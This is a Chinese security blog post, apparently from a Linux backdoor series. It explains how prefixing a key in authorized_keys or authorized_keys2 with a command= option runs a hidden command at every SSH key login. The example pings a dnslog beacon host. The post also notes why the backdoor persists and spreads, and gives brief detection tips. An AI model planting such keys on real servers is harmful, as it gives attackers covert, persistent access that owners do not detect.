倒反天罡的ssh后门 | Linux 后门系列

0x00 简介

今天看见有安全研究员发了一篇 ssh 后门的文章,复现思考后分享给大家

https://blog.thc.org/infecting-ssh-public-keys-with-backdoors

0x01 ssh密钥登录

参考

https://www.commandlinux.com/man-page/man5/authorized_keys.5.html

运维人员管理 Linux 服务器时,对于一些较为固定的管理场景,经常把访问者的ssh公钥直接写入到被访问服务器的 ~/.ssh/authorized_keys 中并进行相应的配置,这样访问者可以使用固定的电脑无需输入密码就可以访问到服务器,在一定程度上安全和便利兼得,但是其实这里有一个不常用的参数非常适合用来做后门——command

通常运维人员通过 ssh-keygen -t rsa 生成公钥文件 ~/.ssh/id_rsa.pub ,格式如下

图片

此时将这些字符拷贝进入服务器的  ~/.ssh/authorized_keys  中,再将 ssh key 登录的相关配置打开,就可以实现免密码登录了

图片

0x02 制作后门

这里以 ping dnslog 为例,实际后门还要考虑不影响用户正常登录,也就是我们的后门要在后台执行,这没啥难的

按照 0x01 章节的参考文章,其实在这段 ssh key 字符串前可以配置一些参数,其中的 command 参数在用户使用该 key 登录的时候自动调用

修改   ~/.ssh/authorized_keys  ,添加恶意命令

图片

command="ping ssh-backdoor.g05vv6.dnslog.cn" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8sgy6ZmmvB5LvcSXx0WyAaDgbJTD+whVTN87iVTbFCIEq81Y0J3MOE+yHPmSEg4Jwv0AfDbPWS5QGfrWMn/NH5chOSqA82o6/M/OumeU2kO0MLP1ModQO/YblmEjQu2VjR03ojYpIu/8lKLq80qZwIbxP3px8/L3FUcksuGcBr95FN8drf0B7+zxyhaDGQvyVsHVBtbirHM0ORQvJ5PzRgSvU+fN9exMh82vibdrLRspN4Gy/s7oJfQh6zWxWZ8Xk4RZQ1MQgMqCZKDBvYToF/c4NP67J12gMcCJnoR3HBANITwrLHytCRcb2En6YfIj4wnCDWPOAapTWQZWJZ8FmzDEFcbjLwvUGccHHoe1SywdHXIGqPSdVjElcE4oBrYa+lH0NJjJG52s+z1hCpF8= join@ubuntu2004

无需重启 ssh 服务,直接在公钥所属的主机上使用 ssh 访问该服务器

图片

图片

dnslog 平台成功获取到访问记录

0x03 此后门的意义

这里我觉得文章作者说的很有道理,所以直接翻译过来

  • 有趣

  • 服务器重启后,后门依旧存在

  • 横向传播

    运维人员可能会把这些配置文件到处拷贝,造成后门的横向传播

  • 云部署通常会将管理员的公钥复制到新实例 - 现在它们也会将您的后门复制到内部。


至此,作者的介绍基本结束,作者在 github 上还建立了一个项目,可以在原文中找到,下面的部分是我比较好奇的一些问题以及答案

0x04 我的思考

1. 不止  ~/.ssh/authorized_keys

其实在 https://www.commandlinux.com/man-page/man5/authorized_keys.5.html 写得很清楚, openssh 默认会识别  ~/.ssh/authorized_keys 和  ~/.ssh/authorized_keys2

具体配置在 /etc/ssh/sshd_config 的 AuthorizedKeysFile 参数

图片

可以看到,官方希望未来忽略  ~/.ssh/authorized_keys2

将服务器上的  ~/.ssh/authorized_keys  修改为  ~/.ssh/authorized_keys2 ,并修改 dnslog 地址

图片

使用公钥登录该 ssh 服务器

图片

图片

因此,在对相关文件进行安全排查的时候,不要忘了 ~/.ssh/authorized_keys2

2. 如果两个文件都存在,是否同时有效

如果 ~/.ssh/authorized_keys  和 ~/.ssh/authorized_keys2  同时存在,是否都有效呢?

再来一台 Linux 主机,都是用 ssh-copy-id 程序将自己的公钥传到服务器上

图片

图片

默认情况下,两台访问者主机都可以通过 ssh-key 访问服务器

图片

图片

现在将两个 ssh key放在  ~/.ssh/authorized_keys  和 ~/.ssh/authorized_keys2  中各一个

图片

再次测试两个访问者主机通过 ssh key 访问服务器

图片

图片

~/.ssh/authorized_keys  和 ~/.ssh/authorized_keys2 两个文件可以同时存在,均有效

3. 两个文件放置同一个key 会怎么样

~/.ssh/authorized_keys  放置默认的 ssh key; ~/.ssh/authorized_keys2 放置包含后门的 ssh key

图片

使用 ssh key 登录服务器

图片

图片

并未触发后门

~/.ssh/authorized_keys  放置包含后门的 ssh key; ~/.ssh/authorized_keys2 放置默认的 ssh key

图片

使用 ssh key 登录服务器

图片

图片

成功触发后门,所以如果两个文件放置同一个 ssh key,默认配置会先读取  ~/.ssh/authorized_keys

4. ssh 配置文件后门检查

之前的我写的一篇 ssh config 后门中介绍了 openssh 配置方面的后门,主要针对 ssh 客户端,openssh的客户端和服务器端,尤其是服务器,可配置的项非常多,各种情况都可以配置相应的的程序来处理,其实这些都可以作为后门,但是作为后门的时候必须保证原本该项配置应有的效果,所以做安全检查的时候应该更加全面一些,在后续的应急响应手册中会尽可能全面一些

 「你即将失去如下所有学习变强机会

学习效率低,学不到实战内容,花几千、上万报机构没有性价比

一顿自助钱,我承诺一定让用户满意,也希望用户能给予我一份信任

详情下方图片了解,【扫下方二维码加入】:只做高质量优质精品内容」

图片

图片

免责声明

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

相关推荐

  1. linux中常见后台进程

    2024-04-08 11:32:05       30 阅读
  2. linux后台启动命令

    2024-04-08 11:32:05       51 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-08 11:32:05       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-08 11:32:05       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-08 11:32:05       82 阅读
  4. Python语言-面向对象

    2024-04-08 11:32:05       91 阅读

热门阅读

  1. Redis的五种基本数据类型

    2024-04-08 11:32:05       30 阅读
  2. Pytorch实用教程:Pytorch中torch.max的用法

    2024-04-08 11:32:05       31 阅读
  3. Stable Diffusion 本地部署教程

    2024-04-08 11:32:05       38 阅读
  4. 弹窗基本样式+动态效果

    2024-04-08 11:32:05       32 阅读
  5. 17、Lua 文件 I-O

    2024-04-08 11:32:05       31 阅读
  6. opencv直方图

    2024-04-08 11:32:05       32 阅读
  7. PlantUML 是绘制 uml 的一个开源项目

    2024-04-08 11:32:05       33 阅读
  8. Linux初学(十七)docker

    2024-04-08 11:32:05       30 阅读